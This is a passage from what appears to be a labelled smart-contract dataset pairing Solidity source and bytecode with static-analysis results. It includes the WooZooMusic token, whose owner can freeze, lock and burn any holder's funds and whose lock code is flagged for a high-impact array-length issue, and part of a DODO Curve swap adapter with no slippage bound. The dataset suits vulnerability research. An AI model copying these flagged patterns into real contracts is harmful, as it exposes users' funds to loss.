fffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561183c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561190a57fe5b818303905092915050565b6000818301905082811015151561192857fe5b809050929150505600a165627a7a7230582010aeb6948af4247e23958a692d0906b7ef6b843d433a808024357ca67f4690970029 | {"success": true, "error": null, "results": {}} | 9,669 |
0xa08f9bebe281bbe63769d9e644bdc9e476bd24ac | // ----------------------------------------------------------------------------
// WooZooMusic token Contract
// Name : WooZooMusic token
// Symbol : WZM
// Decimals : 18
// InitialSupply : 25,000,000 WZM
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract WooZooMusictoken is ERC20 {
string public constant name = "WooZooMusic token";
string public constant symbol = "WZM";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 25000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105dc565b604080519115158252519081900360200190f35b6102586105f2565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105f9565b6102a86106e0565b6040805160ff9092168252519081900360200190f35b6102586106e5565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106f4565b6102fa610735565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610822565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108cb565b6040805192835260208301919091528051918290030190f35b61023c610944565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610954565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109ee565b6102fa610c9c565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d85565b6103f7610e31565b604080516001600160a01b039092168252519081900360200190f35b61019b610e40565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e62565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f60565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f9c565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661106e565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611099565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112b6565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112d1565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b0316611440565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661145e565b6040518060400160405280601181526020017f576f6f5a6f6f4d7573696320746f6b656e00000000000000000000000000000081525081565b60006105e93384846114bb565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106535760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106c45760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106cd846115ad565b6106d88484846117d0565b949350505050565b601281565b6a14adf4b7320334b900000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610730908663ffffffff61182216565b6114bb565b6003546001600160a01b031633146107865760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107e75760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108735760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108f257fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061092757fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109cd576001600160a01b038416600090815260056020526040902080546109c39190839081106109a257fe5b9060005260206000209060020201600101548361182290919063ffffffff16565b9150600101610959565b506109e7816109db8561187f565b9063ffffffff61182216565b9392505050565b6003546001600160a01b03163314610a3f5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610aae5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610b10919083908110610ad757fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61182216565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b6457fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610baf57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c6e576001600160a01b038216600090815260056020526040902080546000198101908110610c1157fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c4f57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c97906000198301611bc1565b505050565b6003546001600160a01b03163314610ced5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d445760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dd65760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e81b62575a4d0281525081565b6003546001600160a01b03163314610eb35760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ebc8261187f565b811115610f135760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f1d828261189a565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610730908663ffffffff61196416565b3360009081526004602052604081205460ff16156110045760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561105b5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b611064336115ad565b6109e783836119c4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110ed5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661114b5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611160906001600160a01b031661187f565b8311156111b75760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111e2908463ffffffff61196416565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d30833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113225760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161132c8461187f565b10156113825760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546113ab908363ffffffff61196416565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114af5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114b8816119d1565b50565b6001600160a01b03831661150357604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d966024913960400191505060405180910390fd5b6001600160a01b03821661154b57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611d0e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117cc576001600160a01b03821660009081526005602052604090208054429190839081106115f757fe5b906000526020600020906002020160000154116117c4576001600160a01b03821660009081526005602052604090208054611637919083908110610ad757fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061168b57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116d657fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611799576001600160a01b03821660009081526005602052604090208054600019810190811061173857fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061177657fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117c2906000198301611bc1565b505b6001016115b0565b5050565b60006117dd848484611a8b565b6001600160a01b038416600090815260016020908152604080832033808552925290912054611818918691610730908663ffffffff61196416565b5060019392505050565b6000828201838110156109e75760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118e257604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d506021913960400191505060405180910390fd5b6002546118f5908263ffffffff61196416565b6002556001600160a01b038216600090815260208190526040902054611921908263ffffffff61196416565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d30833981519152929081900390910190a35050565b6000828211156119be5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105e9338484611a8b565b6001600160a01b038116611a2f5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ad357604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d716025913960400191505060405180910390fd5b6001600160a01b038216611b1b57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611ceb6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b44908263ffffffff61196416565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b79908263ffffffff61182216565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d3083398151915292918290030190a3505050565b815481835581811115610c9757600083815260209020610c97916105f69160029182028101918502015b80821115611c055760008082556001820155600201611beb565b5090565b6001600160a01b038216611c675760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c7a908263ffffffff61182216565b6002556001600160a01b038216600090815260208190526040902054611ca6908263ffffffff61182216565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d308339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a7230582036e90a6a782c0d957372aa5b5499b7a94f83bf345472336f3eefe4b754f700400029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,670 |
0x6D208e3dD3ba8dc7b0D23D6Bf15fef9324643984 | /**
*Submitted for verification at Etherscan.io on 2021-08-19
*/
// File: contracts/SmartRoute/intf/IDODOAdapter.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOAdapter {
function sellBase(address to, address pool, bytes memory data) external;
function sellQuote(address to, address pool, bytes memory data) external;
}
// File: contracts/SmartRoute/intf/ICurve.sol
interface ICurve {
// solium-disable-next-line mixedcase
function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function get_dy(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy) external;
// solium-disable-next-line mixedcase
function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external;
// view coins address
function underlying_coins(int128 arg0) external view returns(address out);
function coins(int128 arg0) external view returns(address out);
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/SmartRoute/lib/UniversalERC20.sol
library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function universalTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function universalApproveMax(
IERC20 token,
address to,
uint256 amount
) internal {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, uint256(-1));
}
}
function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (isETH(token)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function tokenBalanceOf(IERC20 token, address who) internal view returns (uint256) {
return token.balanceOf(who);
}
function isETH(IERC20 token) internal pure returns (bool) {
return token == ETH_ADDRESS;
}
}
// File: contracts/SmartRoute/adapter/CurveAdapter.sol
// for two tokens; to adapter like dodo V1
contract CurveAdapter is IDODOAdapter {
using SafeMath for uint;
function _curveSwap(address to, address pool, bytes memory moreInfo) internal {
(address fromToken, address toToken, int128 i, int128 j) = abi.decode(moreInfo, (address, address, int128, int128));
require(fromToken == ICurve(pool).coins(i), 'CurveAdapter: WRONG_TOKEN');
require(toToken == ICurve(pool).coins(j), 'CurveAdapter: WRONG_TOKEN');
uint256 sellAmount = IERC20(fromToken).balanceOf(address(this));
// approve
IERC20(fromToken).approve(pool, sellAmount);
// swap
ICurve(pool).exchange(i, j, sellAmount, 0);
if(to != address(this)) {
SafeERC20.safeTransfer(IERC20(toToken), to, IERC20(toToken).balanceOf(address(this)));
}
}
function sellBase(address to, address pool, bytes memory moreInfo) external override {
_curveSwap(to, pool, moreInfo);
}
function sellQuote(address to, address pool, bytes memory moreInfo) external override {
